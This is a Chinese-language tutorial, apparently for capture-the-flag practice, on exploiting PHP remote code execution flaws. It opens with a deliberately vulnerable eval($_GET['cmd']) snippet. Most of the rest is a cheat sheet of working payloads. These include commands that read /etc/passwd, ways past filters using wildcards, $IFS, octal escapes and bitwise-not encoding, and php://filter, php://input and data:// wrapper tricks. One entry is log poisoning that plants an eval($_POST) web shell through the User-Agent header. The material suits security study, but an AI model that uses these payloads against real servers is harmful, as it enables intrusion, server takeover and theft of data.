一、RCE漏洞核心概念
RCE(Remote Code Execution)即远程代码执行漏洞,指Web应用因代码/命令执行函数使用不当,导致攻击者可构造特定输入(payload),让服务端执行非预设的系统命令或脚本,进而实现数据窃取、服务器控制等恶意操作。
RCE主要分为两类:
- 代码执行漏洞:因eval()、assert()、call_user_func()等PHP代码执行函数使用不当引发。当用户输入未过滤直接传入这类函数时,攻击者可注入恶意代码并被服务端执行。
- 命令执行漏洞:因system()、exec()、passthru()等系统命令执行函数未做输入校验导致。攻击者可通过构造输入,让服务端执行操作系统命令。
基础漏洞示例(PHP):
error_reporting(0);
if(isset($_GET['cmd'])){$cmd = $_GET['cmd'];eval($cmd); // 未过滤用户输入,存在代码执行漏洞
}else{highlight_file(__FILE__);
}
二、核心命令执行方式
针对命令执行漏洞,攻击者可通过以下方式触发命令执行:
-
系统函数直接调用
- system函数:执行系统命令并输出结果,如
?cmd=system("ls /"); - passthru函数:与system功能类似,如
?cmd=passthru("cat /etc/passwd"); - 反引号+echo:反引号内命令执行后无输出,需echo辅助,如
?cmd=echotac flag.txt;
- system函数:执行系统命令并输出结果,如
-
常用测试与操作命令
- 漏洞验证:
?cmd=phpinfo();(查看PHP环境,确认disable_functions等关键信息) - 目录遍历:
?cmd=ls;(ls被过滤时可用dir替代) - 文件读取:
- cat/tac:
?cmd=cat flag.php(结果需查看页面源码,cat被过滤可用tac、nl、uniq替代) - base64编码读取:
?cmd=base64 /flag.txt(避免字符过滤,解码后获取内容) - 命令绕过读取:
?cmd=/bin/c?t f????.php(通配符替代敏感字符)
- cat/tac:
- 文件操作:
- 重命名:
?cmd=mv fl*g.php 1.txt(将PHP文件改为可直接访问的TXT文件) - 内容复制:
?cmd=cp flag.php 2.txt(复制敏感文件后访问2.txt)
- 重命名:
- 漏洞验证:
三、常见过滤绕过方法
实际场景中,目标会对敏感字符、命令、函数进行过滤,需针对性绕过:
1. 文件名过滤绕过
- 通配符匹配:
?cmd=system("tac fl*g.txt");(*匹配任意字符) - 空字符分隔:
?cmd=system("tac fla''g.txt");(空字符规避关键字匹配) - 转义字符:
?cmd=system("tac fl\ag.txt");(\转义敏感字符) - 单字符占位:
?cmd=system("tac f?????.txt");(?匹配单个任意字符)
2. 空格过滤绕过
空格是命令分隔的核心,被过滤时可用以下替代:
- URL编码:
?cmd=system("tac%20flag.txt");(%20是空格的URL编码) - 制表符:
?cmd=system("tac%09flag.txt");(%09是水平制表符) - 环境变量:
?cmd=system("tac$IFS$9flag.txt");($IFS是系统分隔符,$9为空占位) - 输入重定向:
?cmd=system("tac<fl*g.txt");(<替代空格实现命令与文件关联)
3. 命令/字母过滤绕过
- 空字符拆分命令:
?cmd=system("ta''c flag.txt");(拆分tac为ta''c) - 取反构造命令:PHP中按位取反可将字符转换为无字母形式,示例:
// 生成phpinfo()的取反编码 $func = 'phpinfo'; echo urlencode(~$func); // 输出取反后的URL编码,用于构造payload - ASCII码替代:利用Bash的字符转义机制,如
?cmd=$'\154\163'(\154\163对应ls的ASCII八进制)
4. 函数过滤绕过
- 反引号执行:
?cmd=whoami;(反引号等价于shell_exec(),规避函数检测) - 动态函数调用:
?cmd=call_user_func('system','cat /flag');(call_user_func()动态调用被过滤的函数) - 伪协议读取:结合文件包含漏洞,如
?cmd=include($_GET[x]);&x=php://filter/convert.iconv.UTF8.UTF16/resource=flag.php(php://filter伪协议读取文件源码) - 日志包含:利用Web日志记录请求头的特性,在UA头注入木马后包含日志:
?cmd=include../../../../var/log/nginx/access.log User-Agent:<?php eval($_POST['pass']);?>
5. 目录/文件遍历绕过
- 函数嵌套枚举目录:
?cmd=show_source(scandir(getcwd())[2]);(getcwd()获取当前目录,scandir()列出文件,show_source()显示源码) - 指针操作读取文件:
?cmd=show_source(current(array_reverse(scandir(getcwd()))));(反向遍历目录,读取最后一个文件)
6. 命令分隔符替代
默认分隔符(;、&)被过滤时,可用以下符号分隔多条命令:
|:仅执行后一条命令,如?cmd=invalid|ls /||:仅执行前一条成功的命令,如?cmd=ls /||invalid%0a:换行符(URL编码),如?cmd=ls%0a/tmp&&:前一条执行成功后执行后一条,如?cmd=cd /&&ls
四、其他绕过技巧
- 变量作用域劫持:利用PHP变量函数获取POST输入并执行,如:
?cmd=eval(array_pop(next(get_defined_vars()))); POST数据:1=system('tac fl*'); - 伪协议拓展:
- php://input:读取POST请求体,如
?cmd=include$_GET[x]&x=php://input(POST体传入<?php system("ls");?>) - data://:内嵌数据执行,如
?cmd=include$_GET[x]&x=data://text/plain,<?php system("tac flag.txt")?>
- php://input:读取POST请求体,如
- 替代读取函数:规避highlight_file()过滤,使用show_source()、readgzfile()、require_once()等函数读取文件,如
?cmd=readgzfile("/flag.txt");
总结
- RCE核心是利用未过滤的代码/命令执行函数,注入恶意指令实现服务器控制;
- 绕过过滤的关键思路是替换敏感字符(通配符、编码)、规避函数检测(动态调用、伪协议)、利用系统特性(环境变量、日志);
- 实战中需先通过phpinfo()确认环境限制(disable_functions),再针对性构造payload。